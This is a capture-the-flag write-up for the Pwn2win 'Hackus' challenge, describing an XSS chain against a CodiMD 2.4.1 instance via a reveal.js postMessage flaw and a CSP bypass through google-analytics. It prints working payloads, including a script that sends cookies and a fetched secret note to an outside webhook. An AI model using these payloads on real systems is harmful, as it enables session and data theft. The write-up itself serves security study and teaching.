Pwn2win - Hackus
Overview
Writeup by: andyandpandy
Solved by: andyandpandy, eskildsen, 2by4
Writeup
This is most likely an unintended solution.
TL;DR: Create a note with two iframes. First iframe gets /s/secret-note, second gets from evil.com, which returns a html page where another iframe is loaded based on an 0-day (CVE-2021-39175)[https://nvd.nist.gov/vuln/detail/CVE-2021-39175] in a dependency (reveal js), which hedgedoc allowed. Here we postMessages to the iframe which loads an evil script from google analytics, which fetches the /s/secret-note with forced cache, ensuring that it’s the same page that was cached earlier that is sent to the webhook.
Description
Last year, while an oblivious supervisor responsible for Rhiza’s communication systems drank a Hacker-Pschorr Weissbier, an operation was launched by several insurgent groups to both find vulnerabilities in their systems and intercept Rhiza’s communications. Although the operation was very successful, months later all the vulnerabilities were fixed.
We now need you to find a way to hack into their systems again and leak their secret communications.
Server: https://hackus.xyz
The flag is located at: https://hackus.xyz/s/secret-note
You can report URLs at: https://report.hackus.xyz/
You can test locally by deploying the following docker-compose file (only the CodiMD instance with the respective configurations used in the challenge are available):
Source
# This is a deployment file if you want to test locally (only the CodiMD instance is available).
# In the real challenge's instance, a user and a secret note were created.
# The secret note (flag) is located at "https://hackus.xyz/s/secret-note" and can only be accessed by this user.
# You can report URLs at "https://report.hackus.xyz/" and the authenticated user will access them.
# To start the server use "docker-compose up -d".
version: "3"
services:
database:
image: mariadb:10
environment:
- MYSQL_USER=hackmd
- MYSQL_PASSWORD=change_password
- MYSQL_DATABASE=hackmd
- MYSQL_RANDOM_ROOT_PASSWORD=true
volumes:
- "database-data:/var/lib/mysql"
restart: always
codimd:
image: hackmdio/hackmd:2.4.1
environment:
- CMD_DB_URL=mysql://hackmd:change_password@database/hackmd
- CMD_USECDN=false
- CMD_ALLOW_ANONYMOUS=true
- CMD_ALLOW_PDF_EXPORT=false
- CMD_AUTO_VERSION_CHECK=false
- CMD_IMAGE_UPLOAD_TYPE=imgur
- CMD_IMGUR_CLIENTID=0035467289f7f45
depends_on:
- database
ports:
- "80:3000"
volumes:
- upload-data:/home/hackmd/app/public/uploads
restart: always
volumes:
database-data: {}
upload-data: {}
Exploit
First thing you will notice is that the hackmd version is 2.4.1, which is at the time the latest version released.
This essentially tells us that we have to find 0-days, look through recent issues/PRs that are sketchy, or go after the dependencies of the project. Initial setup was based on an issue reported about iframes, sandboxing and xss. Issue 1263
<!-- evil.com -->
<iframe src="https://<uid>.m.pipedream.net" sandbox="allow-scripts allow-top-navigation allow-scripts allow-same-origin"></iframe>
From that we were able to get an iframe injected, which could run javascript, but this is still not on the hackus.xyz domain, so we would not be able to include cookies from here.
So we want XSS on the hackus.xyz domain, so we needed to find something to trigger on their domain instead of pipedream, which is where the plugin reveal js helped. In reveal js the postMessage targetOrigin is specified as “*”, which is bad Read here for more
So because of issue 1263 we were now able to inject html/css/js from an iframe and here we created another iframe with the poor plugin https://hackus.xyz/build/reveal.js/plugin/notes/notes.html We then used postMessage to communicate with. The injection returned by evil.com is below (possibly this can be cleaned up):
<html>
<body>
<script>
var url = atob("PGlmcmFtZSBzcmNkb2M9IjxodG1sPjxzY3JpcHQgc3JjPSdodHRwczovL3d3dy5nb29nbGUtYW5hbHl0aWNzLmNvbS9ndG0vanM/aWQ9aWQnPjwvc2NyaXB0PjwvaHRtbD4iPjwvaWZyYW1lPg==");
var v = JSON.stringify({"type": "state", "namespace": "reveal-notes", "notes": url});
var ifr = document.createElement("iframe");
ifr.setAttribute("src", "https://hackus.xyz/build/reveal.js/plugin/notes/notes.html")
ifr.setAttribute("sandbox", "allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox");
ifr.setAttribute("style", "height:800px;width:800px;");
ifr.onload = () => {
ifr.contentWindow.postMessage(JSON.stringify({"type": "connect", "namespace": "reveal-notes", "state": {"indexv":"asd", "indexh": "asd"}, "url": "anywhere"}), "*")
setTimeout(() => ifr.contentWindow.postMessage(v, "*"), 1000);
}
document.body.appendChild(ifr)
</script>
</body>
</html>
There was also a CSP which had to be considered, but there are many options here for loading something in:
default-src 'self'; script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://disqus.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com 'nonce-ad5259b6-7303-423e-b695-4c6860d2882e' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://github.githubassets.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://*.disquscdn.com; object-src *; media-src *; child-src *; connect-src *
Because of some weird parsing issues we used atob for the payload that was about to inject js on the hackus.xyz domain. Payload:
<iframe srcdoc="<html><script src='https://www.google-analytics.com/gtm/js?id=gid'></script></html>"></iframe>
This loads our script from google-analytics because the csp allows this. The script loaded from google analytics:
function(){
function log( m){
navigator.sendBeacon("https://webhook.site/<uid>/javascript-triggered"+ document.cookie, m);
}
// Sanity
log("Loaded google analytics!");
var twindow = window.open("https://webhook.site/<uid>/popup-triggered");
setTimeout(function() {log(twindow.document.body.innerHTML)}, 1000);
// Sanity
fetch("/me" , {"cache": "force-cache"}).then(function(t) {return t.text()}).then(function(r){ log(r)})
// Flag
fetch("https://hackus.xyz/s/secret-note#/", {"cache": "force-cache"}).then(function(t) {return t.text()}).then(function(r){ log(r)})
return "evil";
}
We create a function log that sends to our webhook. There are a few sanity checks along the way that can be simply removed, but the fetch includes one very important thing which is force-cache. We sat with this challenge for a long time because cookies were not included in the headless chrome admin requests. So the payload initially worked on firefox but not for chrome, thereby not for the admin.
Finally we realised that we could first load an iframe with the /s/secret-note and not do anything with it other than know that the admin can see it, and here force the same response through cache.
The note with the iframes that starts it all:
<!-- Flag -->
<iframe src="https://hackus.xyz/s/secret-note#/"></iframe>
<!-- evil.com -->
<iframe src="https://your-url.m.pipedream.net" sandbox="allow-scripts allow-top-navigation allow-scripts allow-same-origin"></iframe>
Flag: CTF-BR{https://i.imgur.com/PmN3Z4T.png_deja_vu}